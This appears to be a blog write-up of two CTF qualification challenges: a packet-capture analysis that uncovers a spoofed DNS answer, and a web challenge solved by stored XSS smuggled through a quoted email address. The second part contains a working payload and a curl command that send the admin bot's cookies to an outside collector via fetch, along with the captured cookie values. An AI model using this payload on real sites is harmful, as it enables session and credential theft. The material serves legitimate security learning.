September 19, 2026
FDC CTF Qualification Round (CyberTalents) Writeup

By MazenWaleed
7 min read
I participated in the FDC CTF Qualification Round on CyberTalents, solving challenges across different areas of cybersecurity. Here are my writeups for the challenges I managed to solve during the qualification round.
**Challenge 1 โ [**Wrong Turn]
Category : Network Security Difficulty : Medium
Description:
A Briarbridge employee's review was rejected, then completed after another submission from the same workstation. Find this review in the capture and recover its final approval receipt. What IPv6 address should the review portal normally resolve to?
Flag format: Flag{expected_IP.receipt}
Overview
We're given a single packet capture, wrong-turn.pcap, and asked to reconstruct a story: an employee submitted a review, had it rejected, resubmitted it, and eventually got it approved โ but somewhere along the way, DNS misdirected the client to the wrong server. Our job is twofold:
- Figure out the legitimate IPv6 address the review portal should resolve to.
- Trace the actual HTTP session to recover the approval receipt issued once the review was finally accepted.
Step 1 โ Get a feel for the capture
Before diving into filters, it's worth checking what protocols are even present.
tshark -r wrong-turn.pcap -q -z io,phstshark -r wrong-turn.pcap -q -z io,phs
This shows a mix of IPv4 and IPv6 traffic, with DNS, HTTP, ICMP, and ARP in the mix. The presence of both ipv6.dns and ipv6.http traffic โ plus the question explicitly asking about an IPv6 address โ tells us the interesting activity lives on the IPv6 side of the capture.
Step 2 โ Hunt for the DNS resolution of the review portal
The challenge name is Wrong Turn, which is a strong hint that something in the capture got redirected somewhere it shouldn't have. DNS is the obvious place to look for that kind of misdirection, so let's pull every DNS query/response pair out of the capture:
tshark -r wrong-turn.pcap -Y "dns" -T fields \
-e frame.number -e ip.src -e ipv6.src \
-e dns.qry.name -e dns.qry.type \
-e dns.a -e dns.aaaa -e dns.flags.responsetshark -r wrong-turn.pcap -Y "dns" -T fields \
-e frame.number -e ip.src -e ipv6.src \
-e dns.qry.name -e dns.qry.type \
-e dns.a -e dns.aaaa -e dns.flags.response
The capture is full of decoy domains (updates0.example.net, portal3.example.net, status6.example.net, etc.) โ all noise designed to bury the domain we actually care about: review.briarbridge.test.
Filtering just for that hostname reveals two separate lookups:
tshark -r wrong-turn.pcap -Y 'dns.qry.name == "review.briarbridge.test"' -T fields \
-e frame.number -e ipv6.src -e ipv6.dst \
-e dns.qry.name -e dns.flags.response -e dns.aaaatshark -r wrong-turn.pcap -Y 'dns.qry.name == "review.briarbridge.test"' -T fields \
-e frame.number -e ipv6.src -e ipv6.dst \
-e dns.qry.name -e dns.flags.response -e dns.aaaa
FrameQuery fromAnswered byResult99 โ 103Client ::2b::53 (the network's actual DNS server, seen answering every other domain in the capture)2001:db8:180:40::80567 โ 568Client ::26::68 โ not the real DNS server2001:db8:42:20::68 (answers with its own address)
That second response is the "wrong turn." Every legitimate DNS answer in this capture comes from 2001:db8:42:20::53. This one comes from a completely different host (::68), which conveniently resolves the query to itself โ a classic sign of a spoofed/poisoned DNS response steering the client to a rogue server instead of the real portal.
So the answer to the first part of the challenge โ where the portal should normally resolve โ is:
2001:db8:180:40::802001:db8:180:40::80Step 3 โ Follow the actual review workflow
Now we need the HTTP side of the story. Filtering on the host header narrows things down fast:
tshark -r wrong-turn.pcap -Y "http" -T fields \
-e frame.number -e ipv6.src -e ipv6.dst \
-e http.request.method -e http.host \
-e http.request.uri -e http.response.code \
| grep -i briartshark -r wrong-turn.pcap -Y "http" -T fields \
-e frame.number -e ipv6.src -e ipv6.dst \
-e http.request.method -e http.host \
-e http.request.uri -e http.response.code \
| grep -i briar
This surfaces several workstations, each interacting with review.briarbridge.test, each ending up talking to the rogue server (::66, ::67, ::68...) rather than the real one โ confirming that the poisoned DNS response was in play for these sessions.
The challenge tells us to look for one review that was rejected, then completed after a second submission from the same workstation. Scanning the request list, one workstation (2001:db8:42:20::25) stands out โ it issues two POST /reviews/submit requests for the same review ID, RV-6F92:
1977 GET /reviews/RV-6F92
2064 POST /reviews/submit
2151 GET /reviews/RV-6F92/status
2202 POST /reviews/submit <-- second submission, same workstation
2258 GET /reviews/RV-6F92/status
2423 GET /reviews/RV-6F92/status1977 GET /reviews/RV-6F92
2064 POST /reviews/submit
2151 GET /reviews/RV-6F92/status
2202 POST /reviews/submit <-- second submission, same workstation
2258 GET /reviews/RV-6F92/status
2423 GET /reviews/RV-6F92/statusThat matches the description exactly: rejected, then resubmitted, then (presumably) approved.
Step 4 โ Reconstruct the TCP streams
Each of those requests lives on its own TCP connection, so let's map frame numbers to stream indexes:
tshark -r wrong-turn.pcap \
-Y "http && (frame.number==1977 or frame.number==2064 or frame.number==2151 or frame.number==2202 or frame.number==2258 or frame.number==2423)" \
-T fields -e frame.number -e tcp.streamtshark -r wrong-turn.pcap \
-Y "http && (frame.number==1977 or frame.number==2064 or frame.number==2151 or frame.number==2202 or frame.number==2258 or frame.number==2423)" \
-T fields -e frame.number -e tcp.stream
Then follow each stream's HTTP conversation in order:
tshark -r wrong-turn.pcap -q -z follow,http,ascii,108 # GET /reviews/RV-6F92
tshark -r wrong-turn.pcap -q -z follow,http,ascii,113 # POST submit (1st)
tshark -r wrong-turn.pcap -q -z follow,http,ascii,118 # GET status
tshark -r wrong-turn.pcap -q -z follow,http,ascii,121 # POST submit (2nd)
tshark -r wrong-turn.pcap -q -z follow,http,ascii,125 # GET status
tshark -r wrong-turn.pcap -q -z follow,http,ascii,134 # GET status (final)tshark -r wrong-turn.pcap -q -z follow,http,ascii,108 # GET /reviews/RV-6F92
tshark -r wrong-turn.pcap -q -z follow,http,ascii,113 # POST submit (1st)
tshark -r wrong-turn.pcap -q -z follow,http,ascii,118 # GET status
tshark -r wrong-turn.pcap -q -z follow,http,ascii,121 # POST submit (2nd)
tshark -r wrong-turn.pcap -q -z follow,http,ascii,125 # GET status
tshark -r wrong-turn.pcap -q -z follow,http,ascii,134 # GET status (final)
Piecing the responses together tells the whole story:
StepRequestServer response1GET /reviews/RV-6F92State: open2POST /reviews/submit (review_id=RV-6F92, action=confirm)State: pending, Tracking reference J3R8P63GET /reviews/RV-6F92/statusState: rejected โ "No approval receipt issued."4POST /reviews/submit (same workstation, resubmitted)State: pending, Tracking reference N7G2B55GET /reviews/RV-6F92/statusState: pending6GET /reviews/RV-6F92/statusState: completed โ Approval receipt: T8N4K2
There it is โ the review was rejected on its first pass, resubmitted from the same workstation, and finally completed with an approval receipt of T8N4K2.
Putting It Together
- Expected IPv6 address for the review portal (from the legitimate DNS server,
::53):2001:db8:180:40::80 - Final approval receipt (recovered from the resubmitted review's status check):
T8N4K2
Flag
Flag{2001:db8:180:40::80.T8N4K2}Flag{2001:db8:180:40::80.T8N4K2}Challenge 2โ [Contakt]
Category: Web Security Difficulty: Medium
Description:
Take a look at my blog, and don't forget to contact me. I'd love to hear your opinion!
Flag format: FLAG{}
Overview
Contakt is a small Node.js/Express blog with a contact form. The interesting part isn't the blog โ it's the promise to "contact me": submitting the form triggers a headless-browser bot that reviews messages as an authenticated admin.
- Target:
http://<instance>-web.cybertalentslabs.com - Stack: Express 4 ยท EJS ยท Sequelize/SQLite ยท Puppeteer ยท
email-addresses - Goal: read the flag cookie set on the admin bot's session
Recon
The challenge ships full source (contakt.tar.gz), so this was source review rather than black-box probing. The relevant files:
routes.jsโ reads the flag from disk, generates a randomadmin_token, defines every routeutils.jsโ a Puppeteerbot()helper that carries admin cookies and visits a URL on the server's behalfviews/responses.ejsโ the admin-only page listing every contact submissionviews/render.ejsโ a client-side "render arbitrary HTML" sandbox using DOMPurify. Looked promising, but no route ever registers/renderโ it's dead code, a decoy.
Two lines in routes.js define the whole objective:
await Contact.create({name,email,content});
bot(`http://127.0.0.1/responses`, flag, admin_token);await Contact.create({name,email,content});
bot(`http://127.0.0.1/responses`, flag, admin_token);Every contact form submission causes a real headless browser โ holding the flag and admin token as cookies โ to render /responses. Anything reflected unescaped on that page runs in an authenticated context we can never reach directly.
Vulnerability analysis
The sink. responses.ejs prints every field with EJS's unescaped output tag, <%- %>, instead of the auto-escaping <%= %>:
<td><%- contact.name %></td>
<td><%- contact.email %></td>
<td><%- contact.content %></td><td><%- contact.name %></td>
<td><%- contact.email %></td>
<td><%- contact.content %></td>Textbook stored XSS โ if we can get HTML into any of those three fields.
The filter, and its blind spot. The contact handler validates all three fields:
if(!emailAddresses.parseOneAddress(email)
|| !/^[a-zA-Z0-9_ ]+$/.test(name)
|| !/^[a-zA-Z0-9_ \n]+$/.test(content)){
return res.send("Invalid Input");
}if(!emailAddresses.parseOneAddress(email)
|| !/^[a-zA-Z0-9_ ]+$/.test(name)
|| !/^[a-zA-Z0-9_ \n]+$/.test(content)){
return res.send("Invalid Input");
}name and content are locked to a strict character whitelist โ no <, no quotes, no XSS there. But email is checked with a completely different kind of test: "is this a syntactically valid RFC 5322 address?" rather than "does this contain only safe characters?"
RFC 5322 allows a quoted-string local-part. Inside a pair of double quotes, the grammar (qtext) permits almost any character โ including <, >, =, backticks, and spaces. I confirmed this directly against the app's own dependency, email-addresses@5.0.0:
const emailAddresses = require("email-addresses");
emailAddresses.parseOneAddress('"<img src=x onerror=alert(1)>"@a.com');
// โ returns a valid mailbox object, not nullconst emailAddresses = require("email-addresses");
emailAddresses.parseOneAddress('"<img src=x onerror=alert(1)>"@a.com');
// โ returns a valid mailbox object, not nullThe parser accepts it โ and the route stores the raw string exactly as submitted, not a normalized or re-escaped form:
const {name,email,content} = req.body;
// ...validation...
await Contact.create({name,email,content}); // email stored verbatimconst {name,email,content} = req.body;
// ...validation...
await Contact.create({name,email,content}); // email stored verbatimRoot cause:_ "is syntactically valid" and "is safe to render as HTML" are treated as the same check. A quoted RFC 5322 local-part is a legitimate address_ and an HTML injection vector โ the validator only ever confirms the former.
Attack chain
Attacker โ crafts payload โ POST /contact โ stored verbatim in SQLite โ Admin bot loads /responses with flag + token cookies โ injected <img> fires โ cookie exfiltrated to collector
Exploitation
1. Build the payload. The onerror handler needs no double quotes or backslashes, so it sits inside the RFC 5322 quoted-string with zero escaping:
"<img src=x onerror=fetch(`https://COLLECTOR/log?c=`+encodeURIComponent(document.cookie))>"@a.com"<img src=x onerror=fetch(`https://COLLECTOR/log?c=`+encodeURIComponent(document.cookie))>"@a.com2. Stand up a collector. Generate a unique bin at webhook.site to catch the outbound request from the admin bot.
3. Submit the malicious contact form:
TARGET="http://<instance>-web.cybertalentslabs.com"
COLLECTOR="https://webhook.site/<your-uuid>"
curl -s "$TARGET/contact" \
--data-urlencode "name=Curious Visitor" \
--data-urlencode "content=Hey I love your blog" \
--data-urlencode "email=\"<img src=x onerror=fetch(\`${COLLECTOR}?c=\`+encodeURIComponent(document.cookie))>\"@a.com"TARGET="http://<instance>-web.cybertalentslabs.com"
COLLECTOR="https://webhook.site/<your-uuid>"
curl -s "$TARGET/contact" \
--data-urlencode "name=Curious Visitor" \
--data-urlencode "content=Hey I love your blog" \
--data-urlencode "email=\"<img src=x onerror=fetch(\`${COLLECTOR}?c=\`+encodeURIComponent(document.cookie))>\"@a.com"
4. Let the bot run. The server-side bot() call fires automatically after a successful submission. Puppeteer loads /responses as admin, the injected <img> fails to load, onerror fires, and the fetch reaches the collector a few seconds later.
Flag
The c parameter is document.cookie, URL-encoded once by encodeURIComponent in the payload and once more because the flag cookie's value was itself set with encodeURIComponent(flag) server-side. Decode twice to recover:
flag=Flag%7BQCFATnA5UE0vcW9wUzlRUjNWa2tsa2l5YW1QRlJQYjA2aUVtV1NLZmh1a25qZz04ZGVlMWFmY2E0MjkwMmY1%7D; token=bwahmIdY7Q4nBgIA8kstDZOL4AW1fc0gflag=Flag%7BQCFATnA5UE0vcW9wUzlRUjNWa2tsa2l5YW1QRlJQYjA2aUVtV1NLZmh1a25qZz04ZGVlMWFmY2E0MjkwMmY1%7D; token=bwahmIdY7Q4nBgIA8kstDZOL4AW1fc0g
Flag: FLAG{QCFATnA5UE0vcW9wUzlRUjNWa2tsa2l5YW1QRlJQYjA2aUVtV1NLZmh1a25qZz04ZGVlMWFmY2E0MjkwMmY1}